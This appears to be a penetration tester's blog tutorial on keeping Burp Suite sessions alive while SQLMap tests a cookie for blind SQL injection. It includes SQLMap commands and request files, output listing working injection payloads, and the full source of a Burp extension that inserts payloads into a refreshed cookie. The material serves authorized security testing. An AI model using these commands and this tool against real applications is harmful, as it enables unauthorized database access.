I’ve been a little obsessed with the session handling tool-set that Burp Suite provides. I’ve been running into web applications that aggressively tear down (de-authenticate) sessions for any number of given reasons. Could be the volume of requests sent, malicious input, time-based, accessing a certain section of the app, or perhaps some custom algorithm that’s causing it. At the end of the day I don’t really care and just want to ensure that when I automate traffic via Burp, my requests are hitting my target application in an authenticated manner.
So yeah… I’ve been a little obsessed with session handling and just wrapped up looking at the following three things that have been on my mind recently.
- General concerns about how aggressive de-authentication mechanisms affect comprehensively scanning applications for vulnerabilities.
- Pushing various tools through Burp’s proxy and having burp maintain an active session regardless of whether the selected tool maintains a cookie jar.
- Working with Burp Extensions.
Note the emphasis on the end of the second bullet point. I have absolutely no desire to troubleshoot and deal with multiple cookie jars.
On my last engagement I worked with an application that provided me with a chance to look at all of these things together in a real-world scenario. The application in question produced a false-positive SQL Injection vulnerability during my scanning activities. One of those findings that your gut tells you is a false positive but you don’t necessarily want to brush off. It was thought to be some form of Blind SQLi that only produced a difference in the way the link toolbar was laid out. No explicit database or error output was provided. Just a Boolean in terms of page output.
The thought-to-be-vulnerable input was a cookie. Wanting to explore this further and not having the time to poke at it manually, I set out to use SQLMap to test the input and see if a vulnerability actually existed. Knowing that the application was pretty aggressive at de-authenticating sessions, I pushed the traffic SQLMap generated through Burp’s proxy in order to leverage Burp’s session handling rules to keep me authenticated. Nothing too crazy. The only compensating factor, outside of the macros & session handling rules needed to test the validity of the current session (and any subsequent re-authentication), required for this was to instruct Burp not to update the cookie in question during any requests. As in, pass the value provided by SQLMap through all of the session-handling rules untouched.
The following figure details the settings used to exclude the vulnerable cookie from being updated by the “Session Check & Repair” macro I was using. This was a request whose authenticated response was as lightweight (small) as I could find in my proxy history. It’s issued before every automated request to ensure an authenticated session is being used. If the test produces an invalid session, another macro is run to re-establish an authenticated session with the application. Yup, this causes a lot of requests but stealth is/was not a concern for this type of assessment.
This rule’s only goal is to establish a valid session state. The underlying macro updates the Cookie Jar but does not alter the current request being issued by our targeted efforts (aka SQLMap requests) as a subsequent rule was already in place to handle this.
Another configuration is necessary in the session handling rule that applies up-to-date cookies in the Cookie Jar to the current request. We want the payload sent by SQLMap to not be altered. Again, the vulnerable input was a cookie so we don’t want this session handling rule trouncing on our test payloads.
With these concessions made, I placed a recent, up-to-date version of the vulnerable request into a text file, marked the appropriate insertion point, and had SQLMap fire away at it. An example of a request file used for this would be something like:
GET /test/private/vulnerable-page.php HTTP/1.1 Host: www.vulnerable.com Cookie: test=foo; v=bbq; vulnerable=TWFpbnRhaW4gYSBoZWFsdGh5IEJNSQo=* Accept-Language: en Connection: close
And a simple SQLMap command something like:
sqlmap --proxy=http://127.0.0.1:8081 -r req1.txt
Pretty straight-forward if you’ve spent any respectable length of time using SQLMap.
So long story short, I was able to work through testing the URL thought to contain a vulnerable input using SQLMap and have my state maintained by Burp Suite. Nothing too overwhelmingly complicated but I was happy to see my session maintained during my testing efforts. Mission accomplished!
This got me thinking about how I might approach a similar scenario where an application was aggressively de-authenticating me and I wanted to ensure the cookie being tested was being updated by any applied session handling rules. The caveat from the above example was that Burp was not updating the cookie being tested. The base value was being taken from the request file used by SQLMap and passed through all of the session handling rules unchanged.
In this new scenario, I want to pick an insertion point (the beginning or end of the cookie value) and prepend/append payloads to the targeted, updated cookie value. As in, I want the application to have the opportunity to work with a valid cookie in conjunction with the test payload. I know this probably isn’t a massively important issue as most applications don’t maintain state based off of numerous cookies. Regardless, I wanted to go down this rabbit-hole and work through how I might solve this issue using Burp Suite’s Macros, Session Handling Rules, and Extensions.
After a lot of trial and error I worked up a fairly elegant way to accomplish this. By sending two extra inputs (GET/POST parameters or cookies) I can instruct a Burp extension to target a particular cookie, apply a given payload to it, and then strip the extra inputs from the request prior to sending it to my target. This allows a request to work through the applied session handling rules before prepending/appending a given payload to the targeted cookie.
I tested this against a generic blind SQL injection (with a vulnerable cookie) proof-of-concept I had in my lab. I edited the poc such that it required authentication and made it de-authenticate my session every few seconds. Despite the aggressive session termination, SQLMap was successfully able to identify the injection point using multiple different payloads. Score!
The session handling rules looked like the following.
Remember, this is all going through Burp’s proxy so make sure to configure all three rules appropriately in their “Tools Scope” sections.
The “Session Check & Repair” rule is configured the same way it was discussed above. This is merely a request that uses up-to-date cookies from the Cookie Jar and attempts to make an authenticated request to the application. If it fails, it fires off another request to re-authenticate to the application. The entire process updates cookies in the Cookie Jar but does nothing to alter the current request being sent through the proxy.
The cookie jar rule should be self explanatory.
And lastly, the “Cookie Attack” rule only invokes the extension I wrote.
Both provided inputs are stripped from the final request sent to the target. They are only used by the extension. The extension has a simple tab interface to control the inputs. I could have made the input that points at the target cookie part of this interface but chose to leave it “on the command line” so you can script SQLMap to rotate through cookies. Again, the two inputs are used by the extension to ingest the name of the targeted cookie and the payload(s) that will be applied to it.
After the extension is enabled and all the configurations are finished, SQLMap can be leveraged in the following different ways.
Creating a Request File
Place the following into a text file before feeding it to SQLMap.
GET /sqli/simple_cookie_auth.php HTTP/1.1 Host: 192.168.0.172 Cookie: target=vulnerable; payload=*
sqlmap --proxy=http://127.0.0.1:8081 --dbms=mysql -r req1.txt
You can also remove the cookies from the request file and input them on the command line.
sqlmap --proxy=http://127.0.0.1:8081 -r req1.txt --cookie 'payload=*; target=vulnerable'
You can change the verb to POST and move the inputs to either GET/POST parameters.
GET /sqli/simple_cookie_auth.php?target=vulnerable&payload=* HTTP/1.1 Host: 192.168.0.172
POST /sqli/simple_cookie_auth.php HTTP/1.1 Host: 192.168.0.172 target=vulnerable&payload=*
Using only the Command Line with Cookies
The following calls to SQLMap work and do not require a request file.
sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php' --cookie 'payload=*; target=vulnerable' sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php' --cookie 'payload=*; target=vulnerable' --method POST
Using only the Command Line with GET/POST Parameters
The following calls to SQLMap also work.
sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php?target=vulnerable&payload=' -p payload
sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php' --data 'target=vulnerable&payload=' -p payload --method POST
Note that you do not need to mark inputs when using GET/POST parameters. Leave the payload parameter blank when doing so.
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests: --- Parameter: Cookie #1* ((custom) HEADER) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: target=vulnerable; payload=' AND 7339=7339 AND 'nqIl'='nqIl Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: target=vulnerable; payload=' AND SLEEP(5) AND 'YQGl'='YQGl Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: target=vulnerable; payload=' UNION ALL SELECT CONCAT(0x7176716a71,0x56755779624f6969797744796542736b41526372414a5978574b6649636761645759674f5851466f,0x71716a7071),NULL,NULL-- aJGY --- [15:01:34] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 7-1708 web application technology: Apache 2.4.6, PHP 5.4.16 back-end DBMS: MySQL >= 5.0.12
At the end of the day, this extension could be used by any tool that can push requests through Burp Suite. It wouldn’t be difficult to make it act on standard GET/POST parameters, as well.
Something to note about the following Python extension code. I utilized some debugging tools creating by Michał Bentkowski (@securitymb) found at the following link.
I was introduced to these tools by JakeMiller (@laconicwolf) via the following blog post.
These tools really help out when your extension is tossing errors around. They definitely made my life easier. Cheers, guys!
# python imports #import re import sys # Burp specific imports from burp import IBurpExtender from burp import ISessionHandlingAction from burp import IParameter from burp import ICookie from burp import ITab # "java" imports from javax import swing #from java.net import URL # For using the debugging tools from # https://github.com/securityMB/burp-exceptions try: from exceptions_fix import FixBurpExceptions except ImportError: pass class BurpExtender(IBurpExtender, ISessionHandlingAction, ITab): # # Define config and gui variables # targetParamName = 'target' payloadParamName = 'payload' payloadPlacement = 'Right' # # implement ITab # def getTabCaption(self): # Return the text to be displayed on the tab return "Cookie Attack" def getUiComponent(self): # Passes the UI to burp return self.tab # # Define config functions # def saveTargetParamName(self, input): source = input.getSource() value = source.getText() if value: self.targetParamName = value ###print("### set targetParamName = %s" % value) return def savePayloadParamName(self, input): source = input.getSource() value = source.getText() if value: self.payloadParamName = value #print("### set payloadParamName = %s" % value) return # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self.callbacks = callbacks # obtain an extension helpers object self.helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Cookie Attack") # register ourselves a Session Handling Action callbacks.registerSessionHandlingAction(self) # Build a tab to manage config variables self.tab = swing.JPanel() #self.tab.setLayout(None) self.targetParamLabel = swing.JLabel("Target Parameter Name") self.targetParamField = swing.JTextField("target", 10, focusLost=self.saveTargetParamName) self.payloadParamLabel = swing.JLabel("Payload Parameter Name") self.payloadParamField = swing.JTextField("payload", 10, focusLost=self.savePayloadParamName) self.placementLabel = swing.JLabel("Placement") self.placementComboBox = swing.JComboBox([ 'Left', 'Right']) self.placementComboBox.setSelectedIndex(1) # 1 = Right #self.placementLabel.setBounds(10, 10, 10, 200) self.tab.add(self.targetParamLabel) self.tab.add(self.targetParamField) self.tab.add(self.payloadParamLabel) self.tab.add(self.payloadParamField) self.tab.add(self.placementLabel) self.tab.add(self.placementComboBox) # Add the custom tab to Burp's UI callbacks.addSuiteTab(self) # Used by the custom debugging tools sys.stdout = callbacks.getStdout() print("DEBUG: Cookie Attack - Enabled!") return # # Implement ISessionHandlingAction # def getActionName(self): return "Cookie Attack" def performAction(self, current_request, macro_items): req_info = self.helpers.analyzeRequest(current_request) parameters = req_info.getParameters() #print("########### In performAction") #print("self.targetParamName = %s" % self.targetParamName) #print("self.payloadParamName = %s" % self.payloadParamName) targetName = None targetPayload = None targetJarValue = None req = None for i in range(len(parameters)): param = parameters[i] paramName = param.getName().strip() paramValue = param.getValue().strip() paramType = param.getType() # grabbing the target name from the target param if (paramType == IParameter.PARAM_URL or paramType == IParameter.PARAM_COOKIE or paramType == IParameter.PARAM_BODY) and paramName == self.targetParamName and paramValue: # save the target cookie name targetName = paramValue #print("Target name = %s" % targetName) # remove the target cookie parameter req = self.helpers.removeParameter(current_request.getRequest(), param) break for i in range(len(parameters)): param = parameters[i] paramName = param.getName().strip() paramValue = param.getValue().strip() paramType = param.getType() # grabbing the payload from the payload param if (paramType == IParameter.PARAM_URL or paramType == IParameter.PARAM_COOKIE or paramType == IParameter.PARAM_BODY) and paramName == self.payloadParamName and paramValue: # save the payload value targetPayload = paramValue #print("Target payload = %s" % targetPayload) # remove the payload cookie parameter if req: req = self.helpers.removeParameter(req, param) else: req = self.helpers.removeParameter(current_request.getRequest(), param) # grabbing the targeted cookie just updated by the cookie jar if paramType == IParameter.PARAM_COOKIE and paramName == targetName and paramValue: # grab the cookie jar value for the target cookie targetJarValue = paramValue #print("Jar Value = %s" % targetJarValue) # do we have everything we need? if targetName and targetPayload and targetJarValue: if self.placementComboBox.getSelectedItem() == 'Left': newValue = targetPayload + targetJarValue else: newValue = targetJarValue + targetPayload #print("Final %s = %s" % (targetName, newValue)) # update the parameter currently queued up for the current request updatedParam = self.helpers.buildParameter(targetName, newValue, IParameter.PARAM_COOKIE) if req: req = self.helpers.updateParameter(req, updatedParam) else: req = self.helpers.updateParameter(current_request.getRequest(), updatedParam) current_request.setRequest(req) break try: FixBurpExceptions() except: pass